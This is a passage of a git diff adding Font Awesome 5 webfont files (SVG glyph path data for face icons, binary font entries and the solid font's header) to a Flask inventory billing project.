8.7998c-15.1006 7.60059 -31.5 -1.69922 -34.9004 -16.5l-2.7998 -12.0996c-2.10059 -9.2002 -15.2002 -9.2002 -17.2998 0 +l-2.80078 12.0996c-3.39941 14.8008 -19.8994 24 -34.8994 16.5l-17.7002 -8.7998v-42.7998c0 -35.2002 28 -64.5 63.0996 -65c35.8008 -0.5 64.9004 28.4004 64.9004 64zM340.2 14.7002c64 33.3994 107.8 100.3 107.8 177.3c0 110.3 -89.7002 200 -200 200 +s-200 -89.7002 -200 -200c0 -77 43.7998 -143.9 107.8 -177.3c-2.2002 8.09961 -3.7998 16.5 -3.7998 25.2998v43.5c-14.2002 12.4004 -24.4004 27.5 -27.2998 44.5c-1.7002 10 7.7998 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996 +s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-2.89941 -17 -13.0996 -32.0996 -27.2998 -44.5v-43.5c0 -8.7998 -1.59961 -17.2002 -3.7998 -25.2998zM168 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32 +s14.2998 32 32 32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" /> + <glyph glyph-name="grin-tongue-squint" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM312 40h0.0996094v43.7998l-17.6992 8.7998c-15.1006 7.60059 -31.5 -1.69922 -34.9004 -16.5l-2.7998 -12.0996c-2.10059 -9.2002 -15.2002 -9.2002 -17.2998 0 +l-2.80078 12.0996c-3.39941 14.8008 -19.8994 24 -34.8994 16.5l-17.7002 -8.7998v-42.7998c0 -35.2002 28 -64.5 63.0996 -65c35.8008 -0.5 64.9004 28.4004 64.9004 64zM340.2 14.7002c64 33.3994 107.8 100.3 107.8 177.3c0 110.3 -89.7002 200 -200 200 +s-200 -89.7002 -200 -200c0 -77 43.7998 -143.9 107.8 -177.3c-2.2002 8.09961 -3.7998 16.5 -3.7998 25.2998v43.5c-14.2002 12.4004 -24.4004 27.5 -27.2998 44.5c-1.7002 10 7.7998 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996 +s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-2.89941 -17 -13.0996 -32.0996 -27.2998 -44.5v-43.5c0 -8.7998 -1.59961 -17.2002 -3.7998 -25.2998zM377.1 295.8c3.80078 -4.39941 3.90039 -11 0.100586 -15.5l-33.6006 -40.2998 +l33.6006 -40.2998c3.7002 -4.5 3.7002 -11 -0.100586 -15.5c-3.59961 -4.2002 -9.89941 -5.7002 -15.2998 -2.5l-80 48c-3.59961 2.2002 -5.7998 6.09961 -5.7998 10.2998s2.2002 8.09961 5.7998 10.2998l80 48c5 3 11.5 1.90039 15.2998 -2.5zM214.2 250.3 +c3.59961 -2.2002 5.7998 -6.09961 5.7998 -10.2998s-2.2002 -8.09961 -5.7998 -10.2998l-80 -48c-5.40039 -3.2002 -11.7002 -1.7002 -15.2998 2.5c-3.80078 4.5 -3.90039 11 -0.100586 15.5l33.6006 40.2998l-33.6006 40.2998c-3.7002 4.5 -3.7002 11 0.100586 15.5 +c3.89941 4.5 10.2998 5.5 15.2998 2.5z" /> + <glyph glyph-name="grin-tongue-wink" unicode="" horiz-adv-x="496" +d="M152 268c25.7002 0 55.9004 -16.9004 59.7998 -42.0996c0.799805 -5 -1.7002 -10 -6.09961 -12.4004c-5.7002 -3.09961 -11.2002 -0.599609 -13.7002 1.59961l-9.5 8.5c-14.7998 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5 +c-3.7998 -3.39941 -9.2998 -4 -13.7002 -1.59961c-4.39941 2.40039 -6.89941 7.40039 -6.09961 12.4004c3.89941 25.1992 34.0996 42.0996 59.7998 42.0996zM328 320c44.2002 0 80 -35.7998 80 -80s-35.7998 -80 -80 -80s-80 35.7998 -80 80s35.7998 80 80 80zM328 192 +c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM328 264c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248z +M312 40h0.0996094v43.7998l-17.6992 8.7998c-15.1006 7.60059 -31.5 -1.69922 -34.9004 -16.5l-2.7998 -12.0996c-2.10059 -9.2002 -15.2002 -9.2002 -17.2998 0l-2.80078 12.0996c-3.39941 14.8008 -19.8994 24 -34.8994 16.5l-17.7002 -8.7998v-42.7998 +c0 -35.2002 28 -64.5 63.0996 -65c35.8008 -0.5 64.9004 28.4004 64.9004 64zM340.2 14.7002c64 33.3994 107.8 100.3 107.8 177.3c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200c0 -77 43.7998 -143.9 107.8 -177.3 +c-2.2002 8.09961 -3.7998 16.5 -3.7998 25.2998v43.5c-14.2002 12.4004 -24.4004 27.5 -27.2998 44.5c-1.7002 10 7.7998 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998 +c-2.89941 -17 -13.0996 -32.0996 -27.2998 -44.5v-43.5c0 -8.7998 -1.59961 -17.2002 -3.7998 -25.2998z" /> + <glyph glyph-name="grin-wink" unicode="" horiz-adv-x="496" +d="M328 268c25.6904 0 55.8799 -16.9199 59.8701 -42.1201c1.72949 -11.0898 -11.3506 -18.2695 -19.8301 -10.8398l-9.5498 8.47949c-14.8105 13.1904 -46.1602 13.1904 -60.9707 0l-9.5498 -8.47949c-8.33008 -7.40039 -21.5801 -0.379883 -19.8301 10.8398 +c3.98047 25.2002 34.1699 42.1201 59.8604 42.1201zM168 208c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32s32 -14.3301 32 -32s-14.3301 -32 -32 -32zM353.55 143.36c10.04 3.13965 19.3906 -5.4502 17.71 -15.3408 +c-7.92969 -47.1494 -71.3193 -80.0195 -123.26 -80.0195s-115.33 32.8701 -123.26 80.0195c-1.69043 9.9707 7.76953 18.4707 17.71 15.3408c25.9297 -8.31055 64.3994 -13.0605 105.55 -13.0605s79.6201 4.75977 105.55 13.0605zM248 440c136.97 0 248 -111.03 248 -248 +s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 -8c110.28 0 200 89.7197 200 200s-89.7197 200 -200 200s-200 -89.7197 -200 -200s89.7197 -200 200 -200z" /> + <glyph glyph-name="kiss" unicode="" horiz-adv-x="496" +d="M168 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM304 140c0 -13 -13.4004 -27.2998 -35.0996 -36.4004c21.7998 -8.69922 35.1992 -23 35.1992 -36c0 -19.1992 -28.6992 -41.5 -71.5 -44h-0.5 +c-3.69922 0 -7 2.60059 -7.7998 6.2002c-0.899414 3.7998 1.10059 7.7002 4.7002 9.2002l17 7.2002c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.2002c-6 2.59961 -5.7002 12.3994 0 14.7998l17 7.2002 +c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.19922c-3.59961 1.5 -5.59961 5.40039 -4.7002 9.2002c0.799805 3.7998 4.40039 6.60059 8.2002 6.2002c42.7002 -2.5 71.5 -24.7998 71.5 -44zM248 440c137 0 248 -111 248 -248 +s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z +" /> + <glyph glyph-name="kiss-beam" unicode="" horiz-adv-x="496" +d="M168 296c23.7998 0 52.7002 -29.2998 55.7998 -71.4004c0.299805 -3.7998 -2 -7.19922 -5.59961 -8.2998c-3.10059 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996c-12.3008 0 -23.8008 -7.89941 -31.5 -21.5996l-9.5 -17 +c-1.80078 -3.2002 -5.80078 -4.7002 -9.30078 -3.7002c-3.59961 1.10059 -5.89941 4.60059 -5.59961 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8 +c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM304 140c0 -13 -13.4004 -27.2998 -35.0996 -36.4004c21.7998 -8.69922 35.1992 -23 35.1992 -36c0 -19.1992 -28.6992 -41.5 -71.5 -44h-0.5 +c-3.69922 0 -7 2.60059 -7.7998 6.2002c-0.899414 3.7998 1.10059 7.7002 4.7002 9.2002l17 7.2002c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.2002c-6 2.59961 -5.7002 12.3994 0 14.7998l17 7.2002 +c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.19922c-3.59961 1.5 -5.59961 5.40039 -4.7002 9.2002c0.799805 3.7998 4.40039 6.60059 8.2002 6.2002c42.7002 -2.5 71.5 -24.7998 71.5 -44zM328 296 +c23.7998 0 52.7002 -29.2998 55.7998 -71.4004c0.299805 -3.7998 -2 -7.19922 -5.59961 -8.2998c-3.10059 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996c-12.3008 0 -23.8008 -7.89941 -31.5 -21.5996l-9.5 -17 +c-1.80078 -3.2002 -5.80078 -4.7002 -9.30078 -3.7002c-3.59961 1.10059 -5.89941 4.60059 -5.59961 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004z" /> + <glyph glyph-name="kiss-wink-heart" unicode="" horiz-adv-x="504" +d="M304 139.5c0 -13 -13.4004 -27.2998 -35.0996 -36.4004c21.7998 -8.69922 35.1992 -23 35.1992 -36c0 -19.1992 -28.6992 -41.5 -71.5 -44h-0.5c-3.69922 0 -7 2.60059 -7.7998 6.2002c-0.899414 3.7998 1.10059 7.7002 4.7002 9.2002l17 7.2002 +c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.2002c-6 2.59961 -5.7002 12.3994 0 14.7998l17 7.2002c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.19922c-3.59961 1.5 -5.59961 5.40039 -4.7002 9.2002 +c0.799805 3.7998 4.40039 6.60059 8.2002 6.2002c42.7002 -2.5 71.5 -24.7998 71.5 -44zM374.5 223c-14.7998 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5c-2.5 -2.2998 -7.90039 -4.7002 -13.7002 -1.59961c-4.39941 2.39941 -6.89941 7.39941 -6.09961 12.3994 +c3.89941 25.2002 34.2002 42.1006 59.7998 42.1006s55.7998 -16.9004 59.7998 -42.1006c0.799805 -5 -1.7002 -10 -6.09961 -12.3994c-4.40039 -2.40039 -9.90039 -1.7002 -13.7002 1.59961zM136 239.5c0 17.7002 14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32 +s-32 14.2998 -32 32zM501.1 45.5c9.2002 -23.9004 -4.39941 -49.4004 -28.5 -55.7002l-83 -21.5c-5.39941 -1.39941 -10.8994 1.7998 -12.3994 7.10059l-22.9004 82.5996c-6.59961 24 8.7998 48.5996 34 52.5996c22 3.5 43.1006 -11.5996 49 -33l2.2998 -8.39941 +l8.40039 2.2002c21.5996 5.59961 45.0996 -5.10059 53.0996 -25.9004zM334 11.7002c17.7002 -64 10.9004 -39.5 13.4004 -46.7998c-30.5 -13.4004 -64 -20.9004 -99.4004 -20.9004c-137 0 -248 111 -248 248s111 248 248 248s248 -111 247.9 -248 +c0 -31.7998 -6.2002 -62.0996 -17.1006 -90c-6 1.5 -12.2002 2.7998 -18.5996 2.90039c-5.60059 9.69922 -13.6006 17.5 -22.6006 23.8994c6.7002 19.9004 10.4004 41.1006 10.4004 63.2002c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200 +c30.7998 0 59.9004 7.2002 86 19.7002z" /> + <glyph glyph-name="laugh" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996 +c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM328 224c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM168 224 +c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM362.4 160c8.19922 0 14.5 -7 13.5 -15c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" /> + <glyph glyph-name="laugh-beam" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996 +c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM328 296c23.7998 0 52.7002 -29.2998 55.7998 -71.4004c0.700195 -8.5 -10.7998 -11.8994 -14.8994 -4.5 +l-9.5 17c-7.7002 13.7002 -19.2002 21.6006 -31.5 21.6006c-12.3008 0 -23.8008 -7.90039 -31.5 -21.6006l-9.5 -17c-4.10059 -7.39941 -15.6006 -4.09961 -14.9004 4.5c3.2998 42.1006 32.2002 71.4004 56 71.4004zM127 220.1c-4.2002 -7.39941 -15.7002 -4 -15.0996 4.5 +c3.2998 42.1006 32.1992 71.4004 56 71.4004c23.7998 0 52.6992 -29.2998 56 -71.4004c0.699219 -8.5 -10.8008 -11.8994 -14.9004 -4.5l-9.5 17c-7.7002 13.7002 -19.2002 21.6006 -31.5 21.6006s-23.7998 -7.90039 -31.5 -21.6006zM362.4 160c8.19922 0 14.5 -7 13.5 -15 +c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" /> + <glyph glyph-name="laugh-squint" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996 +c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM343.6 252l33.6006 -40.2998c8.59961 -10.4004 -3.90039 -24.7998 -15.4004 -18l-80 48 +c-7.7998 4.7002 -7.7998 15.8994 0 20.5996l80 48c11.6006 6.7998 24 -7.7002 15.4004 -18zM134.2 193.7c-11.6006 -6.7998 -24.1006 7.59961 -15.4004 18l33.6006 40.2998l-33.6006 40.2998c-8.59961 10.2998 3.7998 24.9004 15.4004 18l80 -48 +c7.7998 -4.7002 7.7998 -15.8994 0 -20.5996zM362.4 160c8.19922 0 14.5 -7 13.5 -15c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" /> + <glyph glyph-name="laugh-wink" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996 +c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM328 284c25.7002 0 55.9004 -16.9004 59.7002 -42.0996c1.7998 -11.1006 -11.2998 -18.2002 -19.7998 -10.8008 +l-9.5 8.5c-14.8008 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5c-8.30078 -7.39941 -21.5 -0.399414 -19.8008 10.8008c4 25.1992 34.2002 42.0996 59.9004 42.0996zM168 224c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32z +M362.4 160c8.19922 0 14.5 -7 13.5 -15c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" /> + <glyph glyph-name="meh-blank" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32 +s-32 14.2998 -32 32s14.2998 32 32 32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" /> + <glyph glyph-name="meh-rolling-eyes" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM336 296c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72 +s-72 32.2002 -72 72s32.2002 72 72 72zM336 184c22.0996 0 40 17.9004 40 40c0 13.5996 -7.2998 25.0996 -17.7002 32.2998c1 -2.59961 1.7002 -5.39941 1.7002 -8.2998c0 -13.2998 -10.7002 -24 -24 -24s-24 10.7002 -24 24c0 3 0.700195 5.7002 1.7002 8.2998 +c-10.4004 -7.2002 -17.7002 -18.7002 -17.7002 -32.2998c0 -22.0996 17.9004 -40 40 -40zM232 224c0 -39.7998 -32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72s72 -32.2002 72 -72zM120 224c0 -22.0996 17.9004 -40 40 -40s40 17.9004 40 40 +c0 13.5996 -7.2998 25.0996 -17.7002 32.2998c1 -2.59961 1.7002 -5.39941 1.7002 -8.2998c0 -13.2998 -10.7002 -24 -24 -24s-24 10.7002 -24 24c0 3 0.700195 5.7002 1.7002 8.2998c-10.4004 -7.2002 -17.7002 -18.7002 -17.7002 -32.2998zM312 96 +c13.2002 0 24 -10.7998 24 -24s-10.7998 -24 -24 -24h-128c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24h128z" /> + <glyph glyph-name="sad-cry" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM392 53.5996c34.5996 35.9004 56 84.7002 56 138.4c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200c0 -53.7002 21.4004 -102.4 56 -138.4v114.4 +c0 13.2002 10.7998 24 24 24s24 -10.7998 24 -24v-151.4c28.5 -15.5996 61.2002 -24.5996 96 -24.5996s67.5 9 96 24.5996v151.4c0 13.2002 10.7998 24 24 24s24 -10.7998 24 -24v-114.4zM205.8 213.5c-5.7998 -3.2002 -11.2002 -0.700195 -13.7002 1.59961l-9.5 8.5 +c-14.7998 13.2002 -46.1992 13.2002 -61 0l-9.5 -8.5c-3.7998 -3.39941 -9.2998 -4 -13.6992 -1.59961c-4.40039 2.40039 -6.90039 7.40039 -6.10059 12.4004c3.90039 25.1992 34.2002 42.0996 59.7998 42.0996c25.6006 0 55.8008 -16.9004 59.8008 -42.0996 +c0.799805 -5 -1.7002 -10 -6.10059 -12.4004zM344 268c25.7002 0 55.9004 -16.9004 59.7998 -42.0996c0.799805 -5 -1.7002 -10 -6.09961 -12.4004c-5.7002 -3.09961 -11.2002 -0.599609 -13.7002 1.59961l-9.5 8.5c-14.7998 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5 +c-3.7998 -3.39941 -9.2002 -4 -13.7002 -1.59961c-4.39941 2.40039 -6.89941 7.40039 -6.09961 12.4004c3.89941 25.1992 34.0996 42.0996 59.7998 42.0996zM248 176c30.9004 0 56 -28.7002 56 -64s-25.0996 -64 -56 -64s-56 28.7002 -56 64s25.0996 64 56 64z" /> + <glyph glyph-name="sad-tear" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM256 144c38.0996 0 74 -16.7998 98.5 -46.0996 +c8.5 -10.2002 7.09961 -25.3008 -3.09961 -33.8008c-10.6006 -8.7998 -25.7002 -6.69922 -33.8008 3.10059c-15.2998 18.2998 -37.7998 28.7998 -61.5996 28.7998c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32 +s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM162.4 173.2c2.7998 3.7002 8.39941 3.7002 11.1992 0c11.4004 -15.2998 36.4004 -50.6006 36.4004 -68.1006 +c0 -22.6992 -18.7998 -41.0996 -42 -41.0996s-42 18.4004 -42 41.0996c0 17.5 25 52.8008 36.4004 68.1006z" /> + <glyph glyph-name="smile-beam" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM332 135.4c8.5 10.1992 23.5996 11.5 33.7998 3.09961 +c10.2002 -8.5 11.6006 -23.5996 3.10059 -33.7998c-30 -36 -74.1006 -56.6006 -120.9 -56.6006s-90.9004 20.6006 -120.9 56.6006c-8.39941 10.2002 -7.09961 25.2998 3.10059 33.7998c10.2002 8.40039 25.2998 7.09961 33.7998 -3.09961 +c20.7998 -25.1006 51.5 -39.4004 84 -39.4004s63.2002 14.4004 84 39.4004zM136.5 237l-9.5 -17c-1.90039 -3.2002 -5.90039 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004 +c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996zM328 296c23.7998 0 52.7002 -29.2998 56 -71.4004 +c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002 +c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004z" /> + <glyph glyph-name="surprise" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM248 168c35.2998 0 64 -28.7002 64 -64s-28.7002 -64 -64 -64 +s-64 28.7002 -64 64s28.7002 64 64 64zM200 240c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" /> + <glyph glyph-name="tired" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM377.1 295.8c3.80078 -4.39941 3.90039 -11 0.100586 -15.5 +l-33.6006 -40.2998l33.6006 -40.2998c3.7998 -4.5 3.7002 -11 -0.100586 -15.5c-3.5 -4.10059 -9.89941 -5.7002 -15.2998 -2.5l-80 48c-3.59961 2.2002 -5.7998 6.09961 -5.7998 10.2998s2.2002 8.09961 5.7998 10.2998l80 48c5 2.90039 11.5 1.90039 15.2998 -2.5z +M220 240c0 -4.2002 -2.2002 -8.09961 -5.7998 -10.2998l-80 -48c-5.40039 -3.2002 -11.7998 -1.60059 -15.2998 2.5c-3.80078 4.5 -3.90039 11 -0.100586 15.5l33.6006 40.2998l-33.6006 40.2998c-3.7998 4.5 -3.7002 11 0.100586 15.5 +c3.7998 4.40039 10.2998 5.5 15.2998 2.5l80 -48c3.59961 -2.2002 5.7998 -6.09961 5.7998 -10.2998zM248 176c45.4004 0 100.9 -38.2998 107.8 -93.2998c1.5 -11.9004 -7 -21.6006 -15.5 -17.9004c-22.7002 9.7002 -56.2998 15.2002 -92.2998 15.2002 +s-69.5996 -5.5 -92.2998 -15.2002c-8.60059 -3.7002 -17 6.10059 -15.5 17.9004c6.89941 55 62.3994 93.2998 107.8 93.2998z" /> + </font> +</defs></svg> diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.ttf b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.ttf new file mode 100644 index 00000000..6be32efe Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.ttf differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.woff b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.woff new file mode 100644 index 00000000..f0bf490d Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.woff differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.woff2 b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.woff2 new file mode 100644 index 00000000..e748257e Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-regular-400.woff2 differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.eot b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.eot new file mode 100644 index 00000000..af42bd86 Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.eot differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.svg new file mode 100644 index 00000000..cc0956b2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-solid-900.svg @@ -0,0 +1,5034 @@ +<?xml version="1.0" standalone="no"?> +<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> +<metadata> +Created by FontForge 20201107 at Wed Aug 4 12:22:50 2021 + By Robert Madole +Copyright (c) Font Awesome +</metadata> +<!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><defs> +<font id="FontAwesome5Free-Solid" horiz-adv-x="512" > + <font-face + font-family="Font Awesome 5 Free Solid" + font-weight="900" + font-stretch="normal" + units-per-em="512" + panose-1="2 0 5 3 0 0 0 0 0 0" + ascent="448" + descent="-64" + bbox="-1.00195 -64.9795 640.104 448.576" + underline-thickness="25" + underline-position="-50" + 